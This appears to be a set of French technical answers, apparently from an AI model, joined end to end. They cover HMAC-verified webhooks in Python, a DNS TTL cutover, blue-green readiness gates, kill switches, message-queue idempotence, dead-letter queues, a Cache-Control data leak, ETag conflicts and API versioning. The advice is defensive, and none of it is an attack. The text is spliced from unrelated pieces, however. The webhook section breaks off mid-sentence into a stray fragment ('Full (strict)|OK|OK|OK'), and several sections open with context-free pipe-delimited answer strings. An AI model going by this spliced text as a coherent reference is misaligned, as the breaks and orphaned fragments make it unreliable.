total += len(chunk)
if total > MAX_BODY_BYTES:
raise WebhookRejected("corps_trop_grand", status.HTTP_413_REQUEST_ENTITY_TOO_LARGE)
chunks.append(chunk)
body = b"".join(chunks)
if declared is not None and int(declared) != len(body):
raise WebhookRejected("corps_incoherent", status.HTTP_400_BAD_REQUEST)
if not body:
raise WebhookRejected("corps_vide", status.HTTP_400_BAD_REQUEST)
return body # octets bruts, aucun parsage ici
def signed_payload(ts: int, raw_body: bytes) -> bytes:
"""Canonicalisation explicite : separateur '.' non ambigu."""
return str(ts).encode("ascii") + b"." + raw_body
# --------------------------------------------------------------------- 3. MAC
def verify_mac(ts: int, raw_body: bytes, signature_hex: str, secrets: Secrets) -> None:
sig = signature_hex.strip().lower()
if len(sig) != SIG_HEX_LEN:
raise WebhookRejected("signature_longueur_invalide", status.HTTP_401_UNAUTHORIZED)
try:
bytes.fromhex(sig)
except ValueError:
raise WebhookRejected("signature_non_hex", status.HTTP_401_UNAUTHORIZED)
payload = signed_payload(ts, raw_body)
ok = False
for key in secrets.active: # rotation de cles : pas de court-circuit
expected = hmac.new(key, payload, hashlib.sha256).hexdigest()
ok |= hmac.compare_digest(expected, sig) # comparaison a temps constant
if not ok:
raise WebhookRejected("mac_invalide", status.HTTP_401_UNAUTHORIZED)
# ---------------------------------------------------------------- 4. ANTI-REJEU
def replay_key(ts: int, raw_body: bytes, event_id: str | None) -> str:
if event_id: # n'utiliser que si inclus dans les donnees signees
return f"wh:evt:{event_id}"
digest = hashlib.sha256(signed_payload(ts, raw_body)).hexdigest()
return f"wh:dig:{digest}"
def claim_once(redis_client, key: str) -> bool:
"""True si premiere occurrence. Insertion atomique : SET NX, pas de GET puis SET."""
return bool(redis_client.set(key, b"1", nx=True, ex=REPLAY_TTL_S))
```
Point d'entrée assemblant l'ordre imposé :
```python
router = APIRouter()
SECRETS = Secrets.from_env()
@router.post("/webhooks/provider")
async def receive(
request: Request,
x_timestamp: str = Header(...),
x_signature: str = Header(...),
):
try:
ts = check_freshness(x_timestamp) # 1 fraicheur (pre-filtre)
body = await read_raw_body(request) # 2 corps brut
verify_mac(ts, body, x_signature, SECRETS) # 3 MAC
check_freshness(x_timestamp) # 1bis : fraicheur re-validee,
# cette fois sur un ts authentifie
key = replay_key(ts, body, event_id=None)
if not claim_once(request.app.state.redis, key): # 4 anti-rejeu atomique
return {"status": "already_processed"} # idempotent, 200
except WebhookRejected as exc:
logger.warning("webhook rejete: %s", exc.reason) # jamais la signature ni la cle
raise HTTPException(status_code=exc.http_status, detail="invalid webhook")
payload = parse_and_validate(body) # parsage APRES verification
process_event(payload) # traitement idempotent
return {"status": "ok"}
```
---
## 4. Tests à écrire, avec assertions réelles
| Cas | Entrée | Attendu |
|---|---|---|
| Nominal | ts courant, corps signé | 200, traité une fois |
| Fraîcheur passée | $ts = t_{now} - 3600$ | 400 `timestamp_trop_ancien` |
| Fraîcheur future | $ts = 1893453000$ (le cas fourni) | 400 `timestamp_dans_le_futur` |
| Timestamp non entier | `"17.5"`, `"+17"`, `"1e9"` | 400 |
| Corps ré-sérialisé | mêmes clés, ordre changé | 401 `mac_invalide` |
| Un octet modifié | corps altéré | 401 |
| Signature tronquée | 63 caractères hex | 401 |
| Signature non hex | `"zz…"` | 401 |
| Ambiguïté de concaténation | couple (ts, B) déplaçant le séparateur | 401 |
| Rejeu | même requête envoyée 2 fois | 200 puis `already_processed`, effet métier unique |
| Rejeu concurrent | 2 requêtes identiques en parallèle | un seul traitement (contrainte atomique) |
| Rotation de clé | signé avec l'ancienne clé encore active | 200 |
| Corps surdimensionné | 2 MiB | 413, sans OOM |
---
## 5. Risques résiduels et limites
- **Aucune de ces vérifications ne rend le point de terminaison « sûr »**. Risques restants : compromission ou fuite du secret, secret partagé entre environnements, absence de TLS ou validation de certificat défaillante, réécriture du corps par un intermédiaire, dérive d'horloge non surveillée, DoS applicatif malgré le pré-filtre, journalisation excessive exposant des données personnelles.
- **Ordre et confiance** : la fraîcheur évaluée en position 1 porte sur une donnée non encore authentifiée ; c'est un filtre de coût, pas une garantie. D'où la re-validation après le MAC dans le code ci-dessus. Si vous devez choisir un seul contrôle, placez-le après le MAC.
- **Anti-rejeu et identifiant d'événement** : n'utiliser un identifiant d'événement comme clé d'unicité que s'il figure dans les octets signés ; sinon il est manipulable et le garde-fou devient contournable.
- **HMAC et extension de longueur** : la construction HMAC $\text{HMAC}_K(m) = h((K \oplus opad) \| h((K \oplus ipad) \| m))$ n'est pas vulnérable à l'attaque par extension de longueur, contrairement à un naïf $h(K \| m)$ (formule et construction : article Wikipédia FR « HMAC »). Ne remplacez jamais le HMAC par un simple hachage préfixé du secret.
- **Portée de la garantie** : le MAC établit intégrité et authenticité, pas la confidentialité (article Wikipédia FR « Code d'authentification de message »). Un corps de webhook contenant des données personnelles doit être protégé par TLS en transit et chiffré au repos.
- **Valeurs par défaut** : $\Delta = 300$ s, $60$ s de tolérance future, 1 MiB, TTL 24 h sont mes choix par défaut, à remplacer par ceux de la documentation de l'émetteur réel, que jeFull (strict)|OK|OK|OK
FIREWALL,AUTHENTICATED_ORIGIN_PULLS,ORIGIN_CERT,HOST_ALLOWLIST
## Ordre correct des quatre phases
| Phase | Action | Délai à respecter avant la suivante |
|---|---|---|
| 1 | **Abaisser le TTL** de l'enregistrement A (86400 s vers une valeur courte, par exemple 300 s), sans toucher à l'adresse | attendre l'**ancien** TTL |
| 2 | **Attendre l'ancien TTL**, soit $86400\ \text{s} = \frac{86400}{3600} = 24\ \text{h}$ (marge conseillée : 25 à 26 h) | fin de l'attente |
| 3 | **Changer l'adresse** : 192.0.2.10 vers 192.0.2.20 | attendre le TTL court, soit $300\ \text{s} = 5\ \text{min}$, puis vérifier |
| 4 | **Remonter le TTL** après stabilisation constatée (par exemple 24 à 48 h de fonctionnement sain) | terminé |
## Pourquoi cet ordre, et pourquoi c'est l'ancien TTL qu'on attend
Le TTL DNS « indique le temps, en secondes, pendant lequel l'information donnée par le serveur peut être conservée en cache. Passé ce délai, l'information doit être considérée comme obsolète et être mise à jour » (Wikipédia FR, article *Time to Live*, section « Le Time to Live dans le DNS »).
Conséquence directe de cette définition : au moment où vous publiez le TTL court, des résolveurs tiers détiennent déjà une copie de l'enregistrement **accompagnée du TTL 86400**. Ils ne rechargeront donc pas la zone avant l'expiration de cette copie. Le nouveau TTL de 300 s ne devient effectif pour l'ensemble des caches qu'après écoulement de l'ancien TTL, d'où la phase 2. C'est bien $86400$ s qu'il faut attendre, pas $300$ s.
Fenêtre d'incohérence maximale si l'on respecte l'ordre :
$$T_{\text{incohérence}} \le 300\ \text{s} = 5\ \text{min}$$
Fenêtre si l'on inverse les phases 1 et 3 (changement d'adresse d'abord, ou changement simultané sans attente) :
$$T_{\text{incohérence}} \le 86400\ \text{s} = 24\ \text{h}$$
Soit un facteur $\frac{86400}{300} = 288$. C'est tout l'enjeu de la séquence.
## Séquence opérationnelle détaillée
**Phase 1, J0 à 10h00.** Modifier uniquement le TTL de l'enregistrement A. Incrémenter le numéro de série du SOA (l'enregistrement SOA porte les paramètres de zone, dont un TTL de cache négatif, selon Wikipédia FR, *Time to Live*). Contrôle immédiat sur le serveur autoritaire :
```
dig +norecurse @ns1.exemple.tld www.exemple.tld A
```
Le TTL retourné par l'autoritaire doit être 300 dès cet instant.
**Phase 2, J0 10h00 à J1 12h00.** Attente. Ne rien modifier. Contrôle de sortie de phase sur plusieurs résolveurs publics et sur les résolveurs de vos utilisateurs principaux :
```
dig @1.1.1.1 www.exemple.tld A
dig @8.8.8.8 www.exemple.tld A
```
Critère de passage à la phase 3 : le TTL observé sur les résolveurs récursifs est désormais inférieur ou égal à 300, et l'adresse est encore 192.0.2.10.
**Phase 3, J1 12h00.** Basculer la valeur vers 192.0.2.20, incrémenter le SOA. Prérequis impératif, à vérifier avant la bascule : 192.0.2.20 sert déjà l'application et répond correctement (certificat TLS valide pour le même nom, application démarrée, base accessible). Garder 192.0.2.10 en service pendant au moins 2 h après la bascule, idéalement 24 h, afin de couvrir les caches non conformes.
**Phase 4, J2 ou J3.** Une fois le trafic entièrement basculé (trafic résiduel nul sur 192.0.2.10 dans les logs d'accès), remonter le TTL à 3600 s ou 86400 s selon votre politique, puis retirer l'ancienne adresse du service.
## Rollback
Pendant les phases 3 et 4, le retour arrière consiste à republier 192.0.2.10. Comme le TTL est encore à 300 s, le rollback est effectif en environ 5 min, ce qui est précisément la raison de maintenir le TTL bas jusqu'à stabilisation confirmée. Remonter le TTL trop tôt supprimerait cette capacité de retour rapide.
## Risques résiduels et limites
Aucune bascule DNS n'est « sans risque ». Points de vigilance :
- **Résolveurs non conformes.** Certains résolveurs, systèmes d'exploitation, navigateurs ou applications conservent les réponses au-delà du TTL annoncé. Je n'ai pas de source vérifiable dans ma base locale pour quantifier ce phénomène ; traitez-le comme un risque connu en exploitation, non chiffré ici. C'est la justification du maintien en service de l'ancienne adresse après la bascule.
- **Cache négatif.** Si une erreur de publication rend le nom temporairement non résolu, la durée de rétention de cette absence de réponse est gouvernée par le TTL de cache négatif porté par le SOA (Wikipédia FR, *Time to Live*). Vérifiez cette valeur avant l'opération.
- **Sessions en cours et état applicatif.** Le DNS ne migre pas les sessions établies, ni les données. Si l'application est à état, prévoyez le partage de session ou une fenêtre de maintenance.
- **Connexions longues.** Les clients ayant une connexion TCP ouverte vers 192.0.2.10 y restent jusqu'à sa fermeture, indépendamment du DNS.
- **Dépendances oubliées.** Autres enregistrements pointant vers la même adresse, règles de pare-feu, listes d'autorisation par IP chez des partenaires, enregistrements SPF, reverse DNS. Auditez-les avant la phase 3.
- **Facturation et propagation des zones secondaires.** Un TTL abaissé augmente le volume de requêtes vers vos autoritaires pendant la phase 2 et 3, à surveiller si vous êtes facturé à la requête ou si vos serveurs sont dimensionnés au plus juste.
**Réponse condensée : 1 abaisser le TTL, 2 attendre l'écoulement de l'ancien TTL de 86400 s, 3 changer l'adresse, 4 remonter le TTL après stabilisation.**200|503|liveness probe : conserver le conteneur, ne pas le redémarrer|readiness probe : retirer le pod des endpoints du Service, couper le trafic entrant jusqu'au rétablissement de la base
## Décision de bascule
**READY|3|KEEP_OLD|SWITCH_AFTER_READY**
Un 503 sur `/ready` pendant le warm-up n'est pas une panne, c'est un état « pas encore éligible au trafic ». La faute du déploiement décrit est de traiter la disponibilité du conteneur (processus démarré) comme équivalente à son aptitude à servir. Les quatre conditions ci-dessous séparent strictement ces deux notions.
| # | Condition | Valeur imposée | Sémantique de contrôle |
|---|---|---|---|
| 1 | État de santé | `READY` | Bascule autorisée uniquement si `/ready` répond HTTP 200 avec corps de santé valide. Tout code $\neq 200$, notamment 503, vaut « non prêt », jamais « prêt par défaut ni par expiration de délai ». |
| 2 | Succès consécutifs | `3` | 3 sondes consécutives en succès, sans aucun échec intercalé. Un seul échec remet le compteur à 0. Anti-faux-positif contre un 200 transitoire pendant le préchauffage (cache, pool de connexions, compilation JIT). |
| 3 | Ancien conteneur | `KEEP_OLD` | L'ancienne instance reste vivante et servante pendant toute la fenêtre de validation, et n'est arrêtée qu'après drainage des connexions en cours. C'est la condition qui rend le retour arrière immédiat, principe même du modèle bleu-vert (Wikipédia EN, *Blue–green deployment* : « rollback is achieved by simply routing traffic back to the previous live server »). |
| 4 | Décision de routage | `SWITCH_AFTER_READY` | Le poids de trafic reste à 0 % sur la nouvelle révision jusqu'à satisfaction simultanée des conditions 1, 2 et 3. Le basculement est un événement déclenché par la preuve de disponibilité, jamais par la fin d'un `sleep` ni par l'événement « conteneur démarré ». Cette logique de bascule après vérification est celle décrite pour les révisions à poids de trafic (Wikipédia EN, *Blue–green deployment*, section Azure Container Apps : révision verte déployée sans trafic de production, bascule après test réussi). |
**Règle de conjonction :** la bascule n'a lieu que si
$$\text{SWITCH} \iff (\text{health} = \texttt{READY}) \wedge (\text{succès consécutifs} \geq 3) \wedge (\text{ancien conteneur} = \texttt{KEEP\_OLD})$$
Toute condition non satisfaite à l'expiration du budget de warm-up déclenche `ABORT` et conservation de l'ancienne révision à 100 % du trafic, pas une bascule dégradée.
## Paramétrage indicatif
Exemple Kubernetes correspondant (le seuil de succès et l'indisponibilité maximale nulle mettent en œuvre les conditions 2 et 3) :
```yaml
spec:
strategy:
type: RollingUpdate
rollingUpdate:
maxUnavailable: 0 # condition 3 : KEEP_OLD
maxSurge: 1
template:
spec:
containers:
- name: app
readinessProbe: # conditions 1 et 2
httpGet:
path: /ready
port: 8080
periodSeconds: 5
timeoutSeconds: 2
successThreshold: 3
failureThreshold: 3
startupProbe: # isole le warm-up de la santé courante
httpGet:
path: /ready
port: 8080
periodSeconds: 5
failureThreshold: 24 # budget de warm-up ~120 s
terminationGracePeriodSeconds: 30 # drainage avant arrêt de l'ancien
```
Réserve d'honnêteté : ce manifeste reflète ma connaissance de l'API Kubernetes et n'a pas été validé contre la documentation officielle par mes outils locaux ; l'encyclopédie hors ligne consultée documente le principe bleu-vert et un exemple de contrôle de santé avec `healthy_threshold`, `check_interval_sec` et `timeout_sec` (Wikipédia EN, *Blue–green deployment*, exemple `main.tfvars`), mais pas la syntaxe des sondes Kubernetes. Vérifiez avec `kubectl explain deployment.spec.template.spec.containers.readinessProbe` avant application.
## Vérification avant mise en production
1. Test négatif : forcer `/ready` à renvoyer 503 en boucle et constater que le trafic reste à 100 % sur l'ancienne révision, puis `ABORT` au bout du budget.
2. Test intermittent : alterner 200 et 503 et vérifier que le compteur de succès repart à 0, donc aucune bascule.
3. Test de drainage : couper l'ancienne instance et mesurer l'absence de 502 sur les requêtes en vol.
4. Test de retour arrière : après bascule, replacer 100 % du trafic sur l'ancienne révision et chronométrer le délai réel.
## Risques résiduels
- `/ready` peut renvoyer 200 sans que les dépendances critiques (base, cache, file) soient réellement joignables : la sonde doit les inclure, sinon la condition 1 est un test creux.
- 3 succès consécutifs sur un intervalle court restent une vérification **finie** : elle ne prouve pas la stabilité durable de la nouvelle révision, seulement son éligibilité au trafic à l'instant de la bascule. Un contrôle post-bascule (taux d'erreur, latence, seuil de retour arrière automatique) reste nécessaire.
- `KEEP_OLD` implique une coexistence temporaire des deux versions : les migrations de schéma doivent être rétrocompatibles, contrainte explicitement signalée comme difficulté du modèle bleu-vert (Wikipédia EN, *Blue–green deployment*, section Benefits and challenges).
- Coût : doublement temporaire des ressources pendant la fenêtre de validation, également signalé par la même source.**fail-closed: désactivé par défaut (absence de valeur, erreur de lecture ou perte du fournisseur ⇒ fonctionnalité coupée) | source d'autorité unique, versionnée, signée et authentifiée, écriture en moindre privilège + MFA, valeur horodatée/monotone anti-rejeu | push temps réel (pub/sub ou watch) vers tous les réplicas, cache local à TTL court, évaluation côté serveur à chaque appel et pas seulement au démarrage, application sans redéploiement, convergence bornée et mesurée, accusé de prise en compte par réplica | journal append-only inviolable (qui, quoi, quand, pourquoi, ticket, valeur avant/après), chaînage $h_i = H(R_i, h_{i-1})$ avec ancre externe $h_k$, $k \ge i$, conservée hors de portée de l'attaquant, alerte sur chaque bascule, aucun secret journalisé**
Justification de chaque propriété
| Propriété | Pourquoi elle est obligatoire |
|---|---|
| Défaut fail-closed | Un kill switch dont le défaut serait « activé » perd sa fonction dès qu'un réplica ne peut pas joindre la source : le refus par défaut garantit que la panne du mécanisme de contrôle ne rouvre pas la fonctionnalité dangereuse. |
| Source unique authentifiée | Plusieurs sources concurrentes créent des états divergents entre réplicas ; la signature et l'authentification protègent l'intégrité et l'authenticité de l'ordre, le compteur monotone empêche la réinjection d'une ancienne valeur « activé ». |
| Propagation push + revérification par appel | Un pull à intervalle long ou une lecture unique au démarrage rend le délai de coupure non borné ; la revérification à chaque appel coupe aussi les sessions et traitements longs déjà en cours. |
| Audit chaîné avec ancre externe | Sans journal inviolable, on ne peut ni prouver la date de coupure ni détecter une modification rétroactive. Seule une ancre $h_k$ avec $k \ge i$ engage cryptographiquement l'enregistrement $R_i$ : une ancre antérieure ($j < i$) est inutile, l'attaquant recalculant la chaîne depuis $h_{i-1}$. |
Contrôles de vérification recommandés
1. Test de chaos : couper l'accès à la source et vérifier que la fonctionnalité passe bien à l'état désactivé sur 100 % des réplicas.
2. Mesure du délai de convergence (p50, p99) entre l'écriture de l'ordre et le dernier réplica accusant réception ; comparer à l'objectif contractuel.
3. Test de rejeu : réinjecter une ancienne valeur signée et vérifier son rejet.
4. Test d'intégrité du journal : modifier un enregistrement en base et vérifier que la revérification contre l'ancre externe échoue.
Limites et statut épistémique
Ces quatre propriétés relèvent d'un raisonnement d'ingénierie de fiabilité et de sécurité (défense en profondeur, fail-closed, moindre privilège, journal chaîné), et non d'une source normative que je puisse citer ici : je n'ai pas vérifié de référence externe pour cette réponse. Une concordance d'empreinte dans le journal n'est pas une preuve mathématique absolue d'intégrité, des collisions existant nécessairement, mais une assurance cryptographique très forte sous les hypothèses de sécurité de la fonction de hachage. Enfin, un ordre de coupure correctement propagé prouve la désactivation du chemin contrôlé par le drapeau, pas l'absence d'un chemin d'accès résiduel non couvert : cet inventaire des points d'appel doit être établi séparément.10x|régression|0 %|bloquée
## Évaluation des quatre possibilités | # | Possibilité | Verdict | Motif | |---|---|---|---| | 1 | Bascule immédiate du trafic vers blue | **UNSAFE** | Le basculement de trafic est réversible, les écritures persistées ne le sont pas. Les lignes déjà écrites par green en nouveau format restent en base ; blue les rencontrera en lecture et échouera (erreur de désérialisation) ou, pire, les interprétera mal, ce qui transforme un incident de disponibilité en atteinte à l'intégrité. | | 2 | Compter sur blue pour lire les nouvelles lignes | **UNSAFE** | Contredit l'hypothèse même de l'énoncé : le format est déclaré illisible par blue. Aucune capacité de lecture ne peut être supposée par défaut ; l'affirmer serait une hypothèse non étayée. | | 3 | Rollback applicatif seul | **UNSAFE** | Un rollback de code ne rétro-migre pas les données. Il rétablit un binaire cohérent avec l'ancien format face à un état de données qui ne l'est plus. Le couple (code, données) est le vrai objet à versionner, pas le code seul. | | 4 | Nécessité d'une compatibilité préalable | **SAFE** (seule option correcte) | Seule une compatibilité de lecture établie **avant** la première écriture du nouveau format rend la bascule réellement réversible. C'est la condition de possibilité du blue-green sur un état persistant partagé. | Décompte vérifié : 4 possibilités évaluées, 3 UNSAFE, 1 SAFE. ## REQUIRED 1. **Borner la divergence d'abord.** Geler les écritures au nouveau format (arrêt du trafic d'écriture ou passage en lecture seule) avant toute décision de bascule. Tant que green écrit, la fenêtre de données non lisibles s'élargit et toute estimation de coût de réparation est périmée. 2. **Point de restauration et inventaire, avant toute action.** Sauvegarde restaurable, puis identification exacte des enregistrements écrits en nouveau format : borne temporelle de la bascule, colonne de version de schéma si elle existe, plage d'identifiants, journal de réplication. Sans cet inventaire, aucune rétro-migration ne peut être vérifiée. 3. **Ne pas revenir à blue « tel quel ».** Deux voies seulement, toutes deux réversibles : - **Forward-fix sur green** si le défaut est circonscrit et corrigeable, c'est en général l'option la moins destructive puisqu'elle n'exige aucune transformation de données ; - **Retour à blue précédé** soit d'une rétro-migration complète des lignes concernées, soit du déploiement sur blue d'un lecteur tolérant. Ce second cas n'est plus un rollback mais un nouveau déploiement, il doit être testé comme tel. 4. **Rétro-migration idempotente, testée sur copie restaurée**, avec réconciliation vérifiable (comptages par lot, sommes de contrôle avant/après) et conservation des données d'origine, sans `UPDATE` en masse ni suppression irréversible. Accord explicite de l'opérateur et plan de retour arrière documenté. 5. **Corriger la cause structurelle** pour les prochaines bascules : motif expand/contract, colonne de version de schéma portée par chaque enregistrement, lecteur tolérant déployé sur les **deux** versions avant toute écriture du nouveau format, séparation du déploiement et de l'activation par indicateur de fonctionnalité, phase de double lecture avant double écriture. 6. **Critère de sortie explicite** : la bascule n'est déclarée réversible que lorsque la version sortante a démontré, sur données réelles échantillonnées, sa capacité à lire tout ce que la version entrante peut écrire. Un nombre fini de lectures réussies ne prouve pas cette propriété pour tous les cas, seul un invariant de format contrôlé à l'écriture (schéma validé, contrat de sérialisation) la garantit. **Hypothèses et limites.** Ces verdicts sont des déductions de la contrainte énoncée (nouveau format illisible par blue, données déjà écrites), non des faits vérifiés sur votre système : je ne dispose ni du volume de lignes concernées, ni du moteur de stockage, ni de la nature du défaut, ni de la réversibilité effective du format. Le choix entre forward-fix et retour à blue dépend de ces éléments et ne peut pas être arbitré ici sans les mesurer.
delivery=redélivraison garantie possible, donc sémantique **at-least-once** et non exactly-once : le message réapparaît car l'absence d'ACK est indiscernable, pour le broker, d'un échec de traitement ; prévoir aussi ré-ordonnancement, compteur de tentatives, backoff et DLQ après N essais, et un visibility timeout supérieur au temps de traitement réel | database=l'écriture est **committée mais non acquittée** : incohérence entre l'état métier (durable) et l'état broker (message toujours en vol) ; il n'y a pas d'atomicité entre broker et base sans 2PC, donc l'atomicité doit être ramenée dans une seule transaction locale (écriture métier + trace de consommation), avec pattern inbox pour l'entrant et outbox pour les événements sortants, jamais de publication hors transaction | dedupe=**idempotence obligatoire côté consommateur** : clé de déduplication stable (message-id du producteur ou clé métier naturelle, pas un hash du payload seul), contrainte UNIQUE en base et INSERT ... ON CONFLICT DO NOTHING ou UPSERT, écrite dans la **même transaction** que l'effet métier ; effets non idempotents (paiement, mail, appel externe) protégés par clé d'idempotence transmise au service aval ; table de dédup purgée par TTL supérieur à la fenêtre maximale de redélivrance. Une concordance de clé n'est pas une preuve absolue d'identité du message, c'est une garantie forte sous l'hypothèse d'unicité de l'identifiant émis | ack=**ACK après commit** de la transaction, jamais d'auto-ack ni d'ACK avant traitement (sinon perte de message) ; l'ordre correct est traiter, committer, acquitter, ce qui déplace le risque de la perte vers le doublon, rendu inoffensif par la dédup ; NACK/requeue explicite avec backoff en cas d'erreur transitoire, rejet vers DLQ en cas d'erreur permanente, ACK idempotent et tolérant au message déjà expiré. Limite résiduelle assumée : la fenêtre entre commit et ACK ne peut pas être supprimée, on obtient au mieux du **effectively-once** (effet observable unique), pas de l'exactly-once au niveau transport.
poison-message deterministe, erreur permanente non rejouable en l'etat|topic DLQ dedie hors chemin critique, avec avancement (commit) de l'offset pour debloquer la partition|cle, topic/partition/offset d'origine, horodatages d'ingestion et d'echec, compteur de tentatives, id de correlation/trace, id et version du schema, detail de l'erreur de validation (chemin du champ), version du consommateur, en-tetes d'origine, empreinte du payload, payload brut conserve chiffre et minimise, aucun secret en clair|rejeu manuel autorise, uniquement apres correction de la cause (schema compatible publie ou correction producteur), revalidation prealable du message contre le schema cible, consommation idempotente (cle de deduplication), rejeu cible et plafonne, teste hors production d'abord, jamais de reinjection automatique en boucle **Detail des quatre decisions** | Decision | Contenu | Justification | |---|---|---| | Classification | Apres 10 echecs identiques de validation, l'echec est repute deterministe, donc permanent, pas transitoire : le rejeu a l'identique ne peut pas reussir | Une erreur de schema ne depend pas de l'etat du reseau ni du temps ; 10 occurrences constituent une forte presomption de determinisme, non une preuve formelle | | Destination | Deplacement vers une file/topic de lettres mortes dediee, puis avancement de l'offset du consommateur pour liberer la partition | Le blocage de partition vient du non-avancement de l'offset ; seule la mise de cote plus commit restaure le debit. Effet de bord assume : rupture de l'ordre strict pour cette cle | | Metadonnees | Identite (cle, topic, partition, offset), chronologie (ingestion, premier et dernier echec), diagnostic (nombre de tentatives, erreur de validation avec chemin du champ, id et version de schema, version du consommateur), tracabilite (id de correlation), integrite (empreinte du payload) et payload brut | Sans offset ni id de schema, l'analyse de cause racine est impossible ; l'empreinte permet de prouver que le message rejoue est bien celui mis de cote. Le payload peut contenir des donnees personnelles : chiffrement au repos, minimisation, duree de conservation bornee, aucun secret journalise | | Condition de rejeu | Rejeu conditionne a un changement d'etat du systeme (schema corrige ou producteur corrige), declenche explicitement par un operateur, precede d'une revalidation contre le schema cible, avec consommation idempotente, volume plafonne et repetition interdite en cas de nouvel echec | Rejouer sans correction reproduit l'echec et peut re-bloquer la partition ; l'idempotence protege contre le double effet metier si le message avait ete partiellement traite | **Limites** : ces quatre decisions relevent de bonnes pratiques d'architecture de messagerie que je formule par raisonnement d'ingenierie ; ma recherche dans l'encyclopedie locale LANXAS n'a retourne aucun article pertinent sur les files de lettres mortes ou l'idempotence, je ne peux donc pas les etayer par une source documentaire ici. Elles supposent un broker a offsets par partition (modele type journal partitionne) et une exigence d'ordre relachable pour la cle concernee ; si l'ordre strict est contractuel, la mise en DLQ doit etre accompagnee d'une mise en quarantaine de la cle entiere, non du seul message.
bufferisé (non appliqué, en attente)|appliqué (successeur immédiat de 7), puis rejeu du buffer déclenchant l'application de 9|10|appliqué jusqu'à la version 9 incluse, buffer vide
## 1. Valeur `Cache-Control` à poser à l'origine ``` Cache-Control: private, no-store, max-age=0, must-revalidate ``` Justification directive par directive : | Directive | Effet | Source | |---|---|---| | `private` | la réponse est destinée à un client unique et **ne doit pas être mise en cache par un cache partagé** (proxy, CDN) | Wikipédia FR, article « Cache-Control » | | `no-store` | empêche le stockage de la donnée (notamment non volatil, sur disque) | Wikipédia FR, article « Cache-Control » | | `max-age=0` | la réponse doit être rechargée à chaque accès | Wikipédia FR, article « Cache-Control » | | `must-revalidate` | interdit de servir une entrée périmée sans revalidation auprès de l'origine | Wikipédia FR, article « Cache-Control » | Retirer impérativement `public`, qui autorise explicitement la mise en cache par **n'importe quel** cache, y compris un proxy partagé, et permet donc « le partage de contenu à travers les utilisateurs qui utilisent le même serveur proxy » (Wikipédia FR, « Cache-Control »). C'est la cause directe de l'incident. Compléments recommandés (hypothèse d'ingénierie, non tirée d'une source citée ici) : ajouter `Pragma: no-cache` pour les intermédiaires HTTP/1.0 résiduels, et `Expires: 0`. `Pragma: no-cache` est bien un en-tête de contrôle de cache historique du protocole (Wikipédia FR, « Cache-Control » ; Wikipédia EN, « List of HTTP header fields »), mais son comportement **en réponse** n'est pas spécifié et la spécification HTTP/1.1 met en garde contre le fait de s'y fier (Wikipédia EN, « List of HTTP header fields », entrée Cache-Control). Il s'agit donc d'une ceinture de sécurité, pas d'un mécanisme fiable. ## 2. En-tête de variation ``` Vary: Cookie, Authorization ``` Rôle : déclarer que la représentation dépend des en-têtes d'identification de la requête, afin qu'aucun cache ne serve l'entrée d'un utilisateur A à un utilisateur B sur simple correspondance d'URL. Trois avertissements de rigueur : - `Vary` est un en-tête de réponse standard de la spécification HTTP (élément de ma connaissance du protocole ; je ne peux pas le confirmer dans l'extrait d'encyclopédie que j'ai effectivement lu, dont la section « champs de réponse » n'était pas incluse). À vérifier sur la RFC 9110/9111 avant rédaction de la documentation interne. - `Vary` seul **ne corrige pas** la vulnérabilité. C'est une défense secondaire : la protection primaire est `private, no-store`. Un CDN peut normaliser, ignorer ou réécrire `Vary`, et une politique de cache mal configurée peut supprimer le cookie de la clé. - `Vary: Cookie` a une cardinalité pratiquement infinie (un cookie de session par utilisateur) : le taux de réussite du cache tombe à zéro tout en consommant de l'espace. Cela confirme qu'une réponse de profil privée ne doit simplement pas transiter par un cache partagé. ## 3. Action CDN immédiate Séquence en trois temps, du moins destructif au plus large : 1. **Bypass** : créer une règle de cache sur le chemin concerné (par exemple `/api/profile*`, `/me*`) forçant le contournement total du cache, et une règle générale « ne jamais stocker une réponse portant `Set-Cookie`, `Authorization` ou `Cache-Control: private` ». Cette règle doit être posée **avant** la purge, sinon la première requête après purge repeuple le cache avec la réponse fautive. 2. **Purge ciblée** : invalider les entrées existantes du seul préfixe de chemin concerné (purge par URL ou par tag), pas une purge globale, qui provoquerait un afflux de requêtes vers l'origine (effet de troupeau) et une indisponibilité potentielle. 3. **Vérification** : contrôler sur plusieurs points de présence, avec deux sessions distinctes, que la réponse revient en `MISS`/`BYPASS` et que le corps correspond bien au porteur du jeton. Limites explicites : une purge CDN **n'atteint pas** les copies déjà stockées en aval, caches navigateur, proxys d'entreprise, caches de fournisseurs d'accès. Ces copies expireront selon la durée déjà annoncée et ne sont pas révocables. Toute affirmation du type « la fuite est colmatée » serait donc fausse pour les copies déjà distribuées. ## 4. Verdict de partage **Non partageable. Aucune mise en cache partagée n'est admissible pour cette réponse.** - Une réponse de profil est liée à un porteur d'identité unique ; sa mise en cache partagée constitue une faille de contrôle d'accès (exposition de données personnelles à des tiers), non un simple défaut de performance. - Statut de l'incident : la configuration observée, `Cache-Control: public` sans clé par utilisateur, rend la fuite **techniquement possible et probable** dès que deux utilisateurs sollicitent la même URL derrière le même nœud. En revanche, l'affirmation « des données ont effectivement été divulguées » n'est **pas établie** par la seule configuration : elle demande une preuve issue des journaux CDN (statuts `HIT` sur ces chemins, empreintes de session distinctes, taux de `HIT`). À traiter comme un incident de confidentialité présumé jusqu'à démonstration contraire, et non l'inverse. - Si un cache est souhaité pour des raisons de latence, la seule voie sûre est un cache **privé** côté client (`private` autorise le client à conserver une copie, pas le proxy, selon Wikipédia FR, « Cache-Control ») ou un cache côté serveur clé par identifiant d'utilisateur vérifié en amont de l'autorisation, jamais une couche CDN mutualisée. Hypothèses de ce diagnostic, à confirmer : le CDN utilise l'URL comme clé de cache principale ; l'authentification repose sur un cookie de session ou un en-tête `Authorization` ; aucune règle de contournement propre au chemin n'est déjà active. Je n'ai pas accès à votre configuration CDN ni à vos journaux, donc rien de ce qui précède ne constitue une constatation sur votre système réel.
- **Code HTTP :** 412 Precondition Failed - **Écritures du second client :** 0 - **ETag courant :** `"v5"` - **Conflit :** mise à jour perdue (*lost update*) détectée et empêchée
négociation de contenu par type de média versionné (Accept: application/vnd.lanxas.v2+json), repli explicite sur v1 quand aucune version n'est demandée|en-tête Accept uniquement, URI et chemins inchangés entre v1 et v2, jamais de numéro de version dans l'URL ni en paramètre de requête|406 Not Acceptable si la version annoncée est inconnue ou non servie, corps d'erreur listant les versions disponibles, jamais de repli silencieux vers une autre version|documentation simultanée et complète de v1 et v2, journal des ruptures, politique de dépréciation publiée et annoncée par les en-têtes Deprecation et Sunset avec date de retrait de v1
